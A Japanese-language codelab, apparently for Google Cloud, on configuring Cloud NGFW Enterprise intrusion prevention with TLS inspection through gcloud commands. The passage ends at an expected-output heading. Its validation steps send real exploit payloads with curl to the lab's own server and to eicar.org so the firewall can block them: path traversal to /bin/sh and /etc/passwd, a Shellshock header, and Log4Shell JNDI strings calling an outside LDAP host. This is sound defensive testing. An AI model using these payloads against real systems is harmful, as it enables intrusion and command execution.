1. はじめに
Cloud Next Generation Firewall(NGFW)
Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。
Cloud NGFW には次の利点があります。
- 分散ファイアウォール サービス: Cloud NGFW は、各ワークロードに完全に分散されたステートフルなホストベースの適用を提供し、ゼロトラスト セキュリティ アーキテクチャを実現します。
- 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
- きめ細かな制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせることで、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を単一の VM まできめ細かく制御できます。
Cloud NGFW は次の階層で使用できます。
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall スタンダード
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise は、レイヤ 7 機能である侵入防止サービス(IPS)を分散 Google Cloud ファイアウォール ファブリックに追加します。TLS インスペクションを使用すると、TLS で暗号化されたトラフィックのインスペクションが可能になります。
ネットワーク アーキテクチャやルーティング構成を変更することなく、信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)インスペクションをきめ細かく制御してデプロイできるようになりました。
IPS でレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを行う必要があります。
- Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します。
- 必要に応じて、TLS インスペクション ポリシーを作成します。
- 必要に応じて、信頼構成を作成します。
- これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
- 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスの脅威防止プロファイルを指定します。
ネットワーク ファイアウォール ポリシー
ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまで適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールで IAM によって管理されるタグ(またはタグのみ)をサポートします。これは現在のネットワーク タグを置き換え、ワークロードに ID を提供するために使用できます。
ネットワーク ファイアウォール ポリシーをネットワーク間で共有し、IAM によって管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。
ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。
- 階層型ファイアウォール ポリシー
- VPC ファイアウォール ルール
- ネットワーク ファイアウォール ポリシー(グローバルとリージョン)
階層型ファイアウォール ポリシーは、リソース階層内の組織ノードとフォルダノードでサポートされていますが、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは 1 つの VPC ネットワークにのみ適用できるのに対し、ネットワーク ファイアウォール ポリシーは 1 つの VPC または VPC グループにアタッチできることです。これは、バッチ アップデートなどのメリットもあります。
最後に、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールがあります。
- アクションが allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
- アクションが deny、送信元が 0.0.0.0/0 の上り(内向き)ルール
デフォルトでは、次の図に強制適用シーケンスを示します。
VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。適用順序は、gcloud コマンドでいつでも指定できます。
タグ
ネットワーク ファイアウォール ポリシールールに統合されたタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義された Key-Value ペアのリソースです。このようなタグには、誰がタグに対して何を行えるかを指定する IAM アクセス制御が含まれています。たとえば、Idenity and Access Management(IAM)権限では、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。ネットワーク ファイアウォール ルールでタグを参照する場合、適用するにはリソースにそのタグを適用する必要があります。
タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体にわたって受け渡されます。そのため、タグを 1 か所で作成して、リソース階層全体の他のフォルダやプロジェクトで使用できます。タグとアクセス制限について詳しくは、こちらのページをご覧ください。
タグをネットワーク タグと混同しないでください。後者は、Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスが廃止されると消えます。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、クラウド リソースとはみなされないため、IAM アクセス制御の対象ではありません。
このドキュメントでは、タグと IAM によって管理されるタグを同じ意味で使用することに注意してください。
作成するアプリの概要
この Codelab には 1 つのプロジェクトが必要です。また、VPC ネットワークを作成し、多くのネットワーク リソースとセキュリティ リソースを管理できる必要があります。Cloud NGFW Enterprise が IPS 機能を提供する仕組みを、以下の方法で説明します。
- TLS インスペクションによるノースバウンド インターネット フローの検査
- TLS インスペクションによる VPC 内フロー [East-West] の検査
検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)とタグなどの Cloud Firewall 照合パラメータを使用して選択されます。
ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。
優先度 | 方向 | ターゲット | ソース | 宛先 | 操作 | 型 |
100 | Ingress | Server_Tag | ヘルスチェック | すべて | 許可 | Essentials |
200 | Ingress | Client_Tag、Server_Tag | IAP | すべて | 許可 | Essentials |
800 | Ingress | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | L7 検査 | Enterprise |
850 | 下り(外向き) | Client_Tag | すべて | 10.0.0.0/24 | 許可 | Essentials |
900 | 下り(外向き) | Client_Tag | すべて | すべて | L7 検査 | Enterprise |
学習内容
- ネットワーク ファイアウォール ポリシーを作成する方法。
- ネットワーク ファイアウォール ポリシーでタグを作成して使用する方法。
- TLS インスペクションのある Cloud NGFW Enterprise を構成して使用する方法。
必要なもの
- Google Cloud プロジェクトです
- インスタンスのデプロイとネットワーキング コンポーネントの構成に関する知識
- VPC ファイアウォール構成に関する知識。
2. 始める前に
変数を作成/更新する
この Codelab では、Cloud Shell での gcloud 構成の実装に役立つ $variables を使用します。
Cloud Shell で以下のコマンドを実行します。必要に応じて角かっこ内の情報を置き換えてください。
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. API を有効にする
API をまだ有効にしていない場合は、有効にします。
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW エンタープライズ エンドポイントの作成
Cloud NGFW エンタープライズ エンドポイントの作成には約 20 分かかるため、まずエンドポイントを作成します。基本の設定は、エンドポイントの作成中に並行して行うことができます。
セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
予想される出力:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
リソースが正常に作成されたことを確認します。
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
予想される出力(出力形式は、使用するクライアントによって異なる場合があります。
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise エンドポイントを作成します。
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing
以下のコマンドを実行して、エンドポイントが作成されていることを確認します(CREATING)。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
予想される出力(出力形式は、使用するクライアントによって異なる場合があります):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
作成プロセスには約 20 分かかります。「基本設定」セクションに進み、必要なリソースを並行して作成します。
5. 基本設定
VPC ネットワークとサブネット
VPC ネットワークとサブネット
VPC ネットワークとサブネットを作成します。
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router と Cloud NAT ゲートウェイを作成します。
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
インスタンス
クライアント インスタンスと web-server インスタンスを作成します。
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
プロジェクト レベルのタグ
必要な場合は、tagAdmin 権限をユーザーに割り当てます。
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
プロジェクト レベルのタグキーと値を作成します。
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
タグをインスタンスにバインドします。
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
グローバル ネットワーク ファイアウォール ポリシー
グローバル ネットワーク ファイアウォール ポリシーを作成します。
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
health-checkと Identity-Aware Proxy の範囲からのトラフィックを許可するために必要な Cloud Firewall Essentials ルールを作成します。
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
特定の範囲からの上り(内向き)East-West / サブネット内トラフィックを許可するために必要な Cloud ファイアウォール ルールを作成します(これらのルールは、TLS インスペクションを備えた Cloud NGFW Enterprise を有効にするように更新されます)。
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Cloud ファイアウォール エンドポイントの関連付け
まだ環境変数を定義していない場合や、スクリプトを使用したほうがよい場合は、環境変数を定義します。
Cloud ファイアウォール エンドポイントの作成が正常に完了したことを確認します。状態が ACTIVE(作成中、想定される状態は CREATING)と表示された場合にのみ続行します。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
予想される出力(出力形式は、使用するクライアントによって異なる場合があります):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
予想される出力:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud ファイアウォール エンドポイントを VPC ネットワークに関連付けます。
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
関連付けのプロセスには 10 分ほどかかります。状態が「ACTIVE」と表示されている場合にのみ、TLS セクションに進みます(作成中は「CREATING」が想定されます)。
gcloud network-security firewall-endpoint-associations list
完了時に想定される出力:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
必要に応じて、次のコマンドを実行して詳細を取得します。
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
予想される出力:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. TLS リソースを構成する
CA プールを作成します。このリソースは、NGFW Enterprise 用に生成したルート CA 証明書を格納するために使用されます。
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加証明書に署名するために使用される CA 証明書です。
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
以下のメッセージが表示された場合は、「y」と入力します。
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
サービス アカウントの IAM 権限を設定します。
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
TLS ポリシー YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれています。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
TLS インスペクション ポリシーをインポートします。
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
エンドポイントの関連付けを更新して TLS を有効にします。
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
CA 証明書を取得し、クライアントの CA ストアに追加します。
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
CA 証明書をクライアントに転送します。
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH で VM に接続し、CA 証明書を /usr/local/share/ca-certificates に移動して、CA ストアを更新します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
終了して Cloud Shell に戻ります。
サーバー証明書の署名プロセス:
cloudshell で、pip コマンドを使用して Pyca 暗号ライブラリをインストールします。
pip install --user "cryptography>=2.2.0"
Google Cloud SDK が Pyca 暗号ライブラリを使用できるようにするには、サイト パッケージを有効にする必要があります。
export CLOUDSDK_PYTHON_SITEPACKAGES=1
サーバー証明書を作成します。
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
これにより、cloudshell に cert.pem ファイルと key.pem ファイルが生成されます。次に、証明書と鍵をサーバーに転送します。
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
サーバーに SSH 接続して Apache の証明書の詳細を更新します。
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
証明書と鍵を特定フォルダに移動します。
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
署名付き証明書を使用するように SSL 構成を更新します。
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache を再起動します。
sudo systemctl restart apache2
Apache のステータスを確認します。
sudo systemctl status apache2
アクティブ(実行中)になっているはずです。
VM を終了して cloudshell で続行します。
8. ノースバウンドと E/W 接続の検証
Cloud Shell で以下のコマンドを実行し、使用するターゲット IP をメモします。
gcloud compute instances list --filter="name=($prefix-$zone-www)"
新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を定義する必要があります)。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
以下のコマンドを実行して、使用するターゲット IP をメモします。変数を作成し、角かっこ内の値を前のステップで確認した IP に置き換えて、到達可能であることを確認します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
プライベート IP で curl を実行し、到達可能であることを確認します。
curl https://$target_privateip --max-time 2
curl リクエストで想定される結果:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
サンプル攻撃を IP に送信します。ウェブサーバーはすべてのリクエストに応答し、L7 の検査/防止が行われていないことを確認します。
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
予想される結果の例(プライベート IP):
400 404 400 200 200
同様に、インターネットの宛先にリクエストを送信します。
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
予想される結果の例(インターネットの宛先):
400 404 400 403 403
VM ターミナルを終了し、Cloud Shell に戻ります。
9. TLS インスペクション用のファイアウォール ルールの作成と更新
前回は、内部サブネットからサーバーへの上り(内向き)トラフィックを許可するようにファイアウォール ルールを構成しました。次に、既存の上り(内向き)ルールを更新し、アクションを apply_security_profile_group に設定します。これにより、TLS を使用した E/W L7 インスペクションが有効になります。
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
TLS を使用してノースバウンド L7 インスペクションを検査する新しいルールを作成します。
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
二重検査を防ぐために E/W に EGRESS を許可する新しいルールを作成する。
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. ノースバウンド TLS インスペクションの検証
クライアント VM のタブに戻るか、もう一度接続します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サンプル攻撃をインターネット上の宛先に送信します。
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
以下の出力で、レスポンスが受信されず、サンプル攻撃がブロックされたことを確認できます。
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
変数に以前のサーバー IP を設定します。
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
サンプルの TLS リクエストをサーバーに送信します。
curl https://$target_privateip --max-time 2
予想される出力:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
このリクエストが失敗しました。なぜですか?これは、ファイアウォールが信頼していないサーバーから証明書を受信しているためです。この場合、自己署名証明書がクライアントに返されます。信頼を有効にするには、信頼構成の一部として CA 証明書を追加する必要があります。
Cloud Shell に戻ります。
11. 信頼構成を構成する
ルート CA 証明書を取得し、適切な形式の変数として設定します。
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
信頼構成 YAML ファイルを構成します。このファイルには、CA 証明書などの信頼の詳細が含まれています。
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
サーバー証明書はルート CA を使用して署名されているため、上記のコマンドではトラストストアの一部としてルート CA 証明書が含まれていました。つまり、TLS ポリシーで公開 CA が false に設定されている場合は Public CA に加えて、ルート CA によって署名されたすべての証明書をファイアウォールが信頼します。
信頼構成の内容を確認します。
cat trust_config.yaml
出力例:
証明書のインデントの配置に注意してください。この形式に厳密に従う必要があります。
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
信頼構成をインポートします。
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
TLS ポリシー YAML ファイルを更新して、信頼構成を含めます。
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
更新された TLS ポリシーをインポートします。
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. E/W TLS インスペクションの検証
SSH でクライアントに再接続し、更新された信頼構成で E/W トラフィックをテストします。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サーバーへのサンプル TLS リクエストを実行します。
curl https://$target_privateip --max-time 2
以下の出力が引き続き表示される場合は、更新が反映されるまでお待ちください。
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
予想される出力:
